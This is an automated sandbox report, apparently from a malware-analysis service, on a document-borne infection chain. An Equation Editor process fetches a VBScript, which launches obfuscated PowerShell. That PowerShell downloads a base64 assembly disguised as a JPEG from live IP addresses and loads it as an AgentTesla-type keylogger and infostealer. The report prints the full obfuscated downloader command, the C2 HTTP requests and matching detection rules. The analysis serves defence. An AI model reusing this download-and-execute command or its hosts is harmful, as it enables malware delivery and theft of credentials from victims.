Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: text/vbscriptContent-Encoding: gzipLast-Modified: Thu, 04 Jul 2024 18:55:49 GMTAccept-Ranges: bytesETag: "80a8edc843ceda1:0"Vary: Accept-EncodingServer: Microsoft-IIS/10.0Date: Fri, 05 Jul 2024 05:26:21 GMTContent-Length: 694Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dc 96 4b 6f da 40 14 85 cf ba 52 ff 03 62 11 b5 52 4b 12 d4 2c 52 a9 8b 84 a6 24 c5 35 a4 21 72 c5 26 0a 06 82 63 30 2f 3b 8d f2 e3 db 7e f7 62 a2 54 5d 74 6f 8d e6 75 df e7 8c 87 e1 f7 af cf 4a 34 57 8d de 55 ae 47 5d b2 2f d4 51 a8 89 02 9d 6b c3 be a3 29 fa 16 fb 48 3d 0d 99 63 b7 c8 b4 d0 b5 4e b4 66 17 b0 4f f4 a4 01 7a 9b d7 6a e3 91 a0 8d 74 8a fd a9 52 e2 46 c4 8f 35 c2 26 a5 d9 2a 64 0e d1 14 78 64 44 1b 50 47 8a 6f 87 39 d0 2d ab 94 28 03 6c be b3 b2 dc 29 ba 36 91 06 58 6f 23 04 b4 47 ad a8 3f d0 3b b0 7c 75 59 ca be 07 82 a5 57 17 d1 db 54 73 4f 55 e6 3f 65 bc 76 1c 57 68 96 e0 5b 13 3d a6 0d 41 1e 61 15 91 b7 a7 31 56 09 38 17 e4 8b 68 13 34 73 f7 33 9c 2b e2 18 62 93 04 8e 30 47 53 20 9b 93 6b 49 1d 4f 58 45 20 0b 61 72 e2 da 07 34 63 64 0b d6 8f ce e1 ad d7 14 92 e9 52 77 ec ba ec c6 9a e9 b5 5e 51 dd 18 af ea 9c 4f 4d 9f e8 2d a2 8d f1 ce 19 bb 78 dd 33 c7 ec de a8 ae 6f 60 fe c1 18 a8 a9 86 e3 5f c3 99 8d 5b e9 b9 fa b4 1e 96 6f 9d a1 aa 30 d3 c0 6f 09 ce 0c 7e ea d8 9d 81 b2 ee df 73 1d 14 39 6d a9 8f da a7 1d eb 10 eb 63 e7 a7 a9 23 7d 60 3e 64 dc 27 ee c6 99 da e8 86 fa 7b ba 40 96 21 b9 43 b6 20 a7 f5 14 d9 84 ca 66 c8 6f 90 cc c9 5f 78 de 8c 55 03 f9 91 c7 37 4e f3 b2 82 2f e0 99 79 ec 6a 31 7e e5 b8 47 8e ea 02 14 d5 b9 67 86 2d f7 1b 56 50 fb f6 d6 35 75 40 ab f1 5d 4d 1d b7 a1 ae 95 ad 2a bf 99 5b a4 d5 39 45 fb 9d dc c0 ca 82 78 76 ff fa 74 bb 97 2f cf 6e f7 86 c7 e0 b1 f3 eb 38 7f 31 63 02 d6 16 f1 fb f4 80 53 eb a2 0d d1 af a8 fc 9c 1a 42 a2 3d 20 ef 93 27 65 7d 82 7f c4 6a 50 9e 69 8a fd 08 cf 0e d2 21 ec 46 60 c8 fc e4 ac d6 1e cc b7 c8 60 38 4f 18 ef 89 38 63 9f 3a 6b 76 62 c6 df 12 af 82 fc 57 c8 6f bd a6 d4 eb ea c3 e2 35 b1 0b 22 19 c7 43 f6 a6 6d ff 85 6d f7 fe 55 05 db ff df bf 88 68 31 fa 84 e8 b9 df e3 a9 7f d9 b3 e7 17 6f c7 4d 55 38 69 10 a7 28 df 3d fb d2 7f 96 6f d8 0e 77 4d ef c9 6b 2f d5 dc eb 19 b9 a5 b5 9a f6 2a f5 db b5 f7 8c 6c fb ee 1e f8 68 a7 55 94 6f 6f b5 ef 45 08 3b 39 76 09 19 ef 1c ef d9 8b ff 1d 67 e5 d9 db 4b 5d dd ff c6 ff 72 f0 67 00 06 82 f6 b3 a6 0d 00 00 Data Ascii: Ko@RbRK,R$5!r&c0/;~bT]touJ4WUG]/Qk)H=cNfOzjtRF5&*dxdDPGo9-(l)6Xo#G?;|uYWTsOU?evWh[=Aa1V8h4s3+b0GS kIOXE ar4cdRw^QOM-x3o`_[o0o~s9mc#}`>d'{@!C fo_xU7N/yj1~Gg-VP5u@]M*[9Exvt/n81cSB= 'e}jPi!F``8O8c:kvbWo5"CmmUh1oMU8i(=
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\controlfiredatinloverforxlammfile[1].vbs Jump to behavior
Source: global traffic HTTP traffic detected: GET /controlfiredatinloverforxlammfile.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/negrocock/file_omquennq.l51.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.14
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /controlfirebase65.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: powershell.exe, 00000006.00000002.520915129.00000000062B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144
Source: powershell.exe, 00000006.00000002.520915129.00000000062B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/controlfirebase65.txt
Source: EQNEDT32.EXE, 00000002.00000002.454364905.00000000002C4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.454364905.00000000002CF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/controlfiredatinloverforxlammfile.vbs
Source: EQNEDT32.EXE, 00000002.00000002.454675403.00000000034A0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/controlfiredatinloverforxlammfile.vbsj
Source: powershell.exe, 00000006.00000002.517243140.0000000002B6F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://198.46.178.144/madamwebbbbbbbas6444.txt
Source: wscript.exe, 00000005.00000003.523031295.0000000002FF3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523460331.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523198937.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523432581.0000000000877000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523117461.0000000000873000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523322277.0000000000877000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523117461.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523241437.0000000000875000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523254421.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.520674323.0000000004FB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92
Source: wscript.exe, 00000005.00000003.523270494.000000000087F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.520674323.0000000004FB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.2
Source: powershell.exe, 00000006.00000002.520674323.0000000004FB0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.25
Source: wscript.exe, 00000005.00000003.523031295.0000000002FF3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523342115.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523448884.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523117461.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.137/imge/new-image_
Source: powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.137/imge/new-image_j.jpg
Source: wscript.exe, 00000005.00000002.523380515.0000000000147000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523415610.0000000000840000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523260557.000000000083C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523415610.0000000000837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523316147.000000000083F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523303828.000000000084F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523334720.000000000083F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523267448.0000000000836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523117461.0000000000865000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523297099.0000000000867000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523325540.0000000000837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523278836.0000000000865000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.523422586.0000000000868000.00000004.00000020.00020000.00000000.sdmp, controlfiredatinloverforxlammfile.vbs.2.dr, controlfiredatinloverforxlammfile[1].vbs.2.dr String found in binary or memory: http://91.92.254.14/Users_API/negrocock/file_omquennq.l51.txt
Source: wscript.exe, 00000005.00000002.523435713.000000000087A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523359546.000000000087A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523248042.0000000000879000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523117461.0000000000873000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.523241437.0000000000875000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.14/Users_API/negrocock/file_omquennq.l51.txtz
Source: powershell.exe, 00000006.00000002.520915129.00000000062B1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194
Source: powershell.exe, 00000006.00000002.520674323.0000000004FB0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpg
Source: powershell.exe, 00000006.00000002.517243140.0000000002940000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://91.92.254.194/imge/new-image_v.jpgOls;
Source: AddInProcess32.exe, 00000008.00000002.479192755.00000000024AD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.0000000002490000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.000000000228B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.0000000002320000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.000000000233E000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.000000000249E000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.0000000002494000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.00000000023EB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.0000000002350000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.000000000236D000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.00000000022BB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.00000000021BD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.00000000021A0000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.000000000210B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.00000000022DD000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.000000000222C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.00000000022C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.0000000002490000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.000000000228B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.0000000002320000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.00000000023EB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.0000000002480000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.0000000002350000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.00000000022BB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.00000000021A0000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.000000000210B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.000000000222C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.00000000022C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000006.00000002.518863919.0000000003829000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.517243140.0000000002801000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.0000000002490000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479192755.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.000000000228B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.485482053.0000000002320000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.00000000023EB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.0000000002480000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.0000000002350000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.00000000022BB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.00000000021A0000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.000000000210B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.000000000222C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.617260829.00000000022C0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: AddInProcess32.exe, 0000000A.00000002.485482053.0000000002289000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000B.00000002.492812954.00000000023E9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000C.00000002.504664614.00000000022B9000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000D.00000002.516749164.0000000002109000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.
Source: powershell.exe, 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, AddInProcess32.exe, 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000006.00000002.518863919.0000000003829000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.518863919.0000000003829000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.518863919.0000000003829000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.518863919.0000000003829000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Contains functionality to log keystrokes (.Net Source)
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, cPKWk.cs .Net Code: _00D8VK

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: sheet1.xml, type: SAMPLE Matched rule: detects AutoLoad documents using LegacyDrawing Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.41bb700.2.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Very long command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 7791
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 7791 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Server XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{AFBA6B42-5692-48EA-8141-DC517DCF0EF1}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\ProgID Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "INVOkE-EXpRessIon ( ('oiL'+'li'+'n'+'k = Olshttp'+'://91.92.254.194/imge/new-image'+'_v.jpgOls; oiLwebClient = New-Object'+' System.Net.WebClient; try { oiLdownloadedData = oi'+'LwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oiLnull) { oiLimageText = [Sy'+'stem.T'+'ex'+'t.Encoding]::UTF8.GetString'+'(oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLendIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendIn'+'dex -gt oiLstartIndex) { oiLstartInd'+'ex += oiLstartFlag.Length; oiLbase64Length = oiLendIn'+'dex - oiLstartInd'+'ex; oiLbase64Command = oiLimageText.Substri'+'ng(oiLstartIndex, oiLbase64Lengt'+'h); oiLcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiL'+'loadedAssembly = [System.Reflection.Assembly]::Load(oiLcomm'+'andBytes); oiLtype = oiLloadedAssembly.GetType(OlsRunPE.HomeOls); oiLmethod = oiLtype.GetMethod(OlsVAIOls).Invoke(oiLnull,'+' [object[]] (Olstxt.4446sabbbbbbbewmadam/441.871.64.8'+'91//:ptthOls , Olsdesativad'+'oOls , OlsdesativadoOls , OlsdesativadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scriptblock oiLlink = Olshttp://91.92.254.194/imge/new-image_v.jpgOls; oiLwebClient ='+' New-Object System.Net.WebClient; try { oi'+'LdownloadedData = oiLwebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To down'+'load data from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData -ne oi'+'Lnull) { oiLimageText = [System.T'+'ext.Encoding]::UTF8.GetString('+'oiLdownloadedData); oiLstartFlag = Ols<<BASE64_START>>Ols; oiLendFlag = Ols<<BASE64_END>>Ols; oiLstartIndex = oiLimageText.IndexOf(oiLstartFlag); oiLen'+'dIndex = oiLimageText.IndexOf(oiLendFlag); if (oiLstartIndex -ge 0 -and oiLendInde'+'x -gt oiLstartIndex) { oiLstartIndex += '+'oiLstartFlag.Length; oiLbase64Length = oiLendIndex - oiLstartIndex; oiLbase64Command ='+' oiLimageText.Substring(oiLstartIndex'+', oiLbase64Length); oi'+'LcommandBytes = [System.Convert]::FromBase64String(oiLbase64Command); oiLloadedAssembly = [System.Reflection.'+'Assembly]::Load(oiLcommandBytes); oiLtype = '+'oiLloadedAssembly.GetType(Ols'+'RunPE.HomeOl'+'s); oiLmethod = oiLtype.GetMethod(Ols'+'VAIOl'+'s).Invoke(oiLnull, [object[]] (Olstxt.4'+'446sab'+'bbbbbbewmadam/441.871.64.891//:ptthOls , Olsdesativ'+'adoOls , OlsdesativadoOls , Olsdesati'+'vadoOls,OlsAddInProcess32Ols,OlsOls)) } }Set Scr'+'iptblock oiLlink '+'= Olshttp://91.92.2'+'54.194/imge/new-image_v.jpgOls; oiLwebClient = New-'+'Object System.Net.WebClient; try { oiLdownloadedData '+'= oiLw'+'ebClient.DownloadData(oiLlink) } catch { Write-Host OlsFailed To download data '+'from oiLlinkOls -ForegroundColor Red; exit }; if (oiLdownloadedData'+' -ne oiLnu'+'ll) Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
